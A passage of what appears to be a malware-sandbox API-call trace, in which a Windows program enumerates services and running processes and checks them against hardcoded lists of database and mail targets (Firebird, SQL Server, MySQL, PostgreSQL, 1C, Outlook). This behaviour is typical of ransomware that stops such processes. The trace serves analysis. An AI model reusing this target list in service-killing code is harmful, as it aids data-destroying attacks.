[0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.123] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.123] lstrlenW (lpString="Dhcp") returned 4 [0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.123] lstrlenW (lpString="Dnscache") returned 8 [0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.123] lstrlenW (lpString="DPS") returned 3 [0034.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.123] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.124] lstrlenW (lpString="eventlog") returned 8 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.124] lstrlenW (lpString="EventSystem") returned 11 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.124] lstrlenW (lpString="FontCache") returned 9 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0034.124] lstrlenW (lpString="gpsvc") returned 5 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.124] lstrlenW (lpString="iphlpsvc") returned 8 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.124] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.124] lstrlenW (lpString="LanmanServer") returned 12 [0034.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.124] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.125] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.125] lstrlenW (lpString="lmhosts") returned 7 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.125] lstrlenW (lpString="MMCSS") returned 5 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.125] lstrlenW (lpString="MpsSvc") returned 6 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.125] lstrlenW (lpString="Netman") returned 6 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.125] lstrlenW (lpString="netprofm") returned 8 [0034.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.125] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.125] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.126] lstrlenW (lpString="NlaSvc") returned 6 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.126] lstrlenW (lpString="nsi") returned 3 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.126] lstrlenW (lpString="PcaSvc") returned 6 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.126] lstrlenW (lpString="PlugPlay") returned 8 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.126] lstrlenW (lpString="Power") returned 5 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.126] lstrlenW (lpString="ProfSvc") returned 7 [0034.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.126] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.127] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.127] lstrlenW (lpString="RpcSs") returned 5 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.127] lstrlenW (lpString="SamSs") returned 5 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.127] lstrlenW (lpString="Schedule") returned 8 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.127] lstrlenW (lpString="SENS") returned 4 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.127] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.128] lstrlenW (lpString="Spooler") returned 7 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.128] lstrlenW (lpString="sppsvc") returned 6 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0034.128] lstrlenW (lpString="SysMain") returned 7 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.128] lstrlenW (lpString="Themes") returned 6 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.128] lstrlenW (lpString="TrkWks") returned 6 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.128] lstrlenW (lpString="UxSms") returned 5 [0034.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.128] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.128] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.128] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.129] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.129] lstrlenW (lpString="WinDefend") returned 9 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0034.129] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.129] lstrlenW (lpString="Winmgmt") returned 7 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.129] lstrlenW (lpString="wscsvc") returned 6 [0034.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0034.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0034.129] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0034.129] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0034.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0034.129] lstrlenW (lpString="wuauserv") returned 8 [0034.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0034.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0034.130] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0034.130] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0034.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0034.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559330 | out: hHeap=0x520000) returned 1 [0034.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0034.138] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.139] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.139] lstrlenW (lpString="System") returned 6 [0034.140] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.140] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.140] lstrlenW (lpString="smss.exe") returned 8 [0034.140] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.140] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.141] lstrlenW (lpString="csrss.exe") returned 9 [0034.141] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.142] lstrlenW (lpString="wininit.exe") returned 11 [0034.142] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.142] lstrlenW (lpString="csrss.exe") returned 9 [0034.142] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.143] lstrlenW (lpString="winlogon.exe") returned 12 [0034.143] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.143] lstrlenW (lpString="services.exe") returned 12 [0034.143] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.144] lstrlenW (lpString="lsass.exe") returned 9 [0034.144] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.144] lstrlenW (lpString="lsm.exe") returned 7 [0034.144] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.145] lstrlenW (lpString="svchost.exe") returned 11 [0034.145] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.145] lstrlenW (lpString="svchost.exe") returned 11 [0034.145] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.146] lstrlenW (lpString="svchost.exe") returned 11 [0034.146] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.146] lstrlenW (lpString="svchost.exe") returned 11 [0034.146] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.147] lstrlenW (lpString="svchost.exe") returned 11 [0034.147] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.147] lstrlenW (lpString="audiodg.exe") returned 11 [0034.147] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, 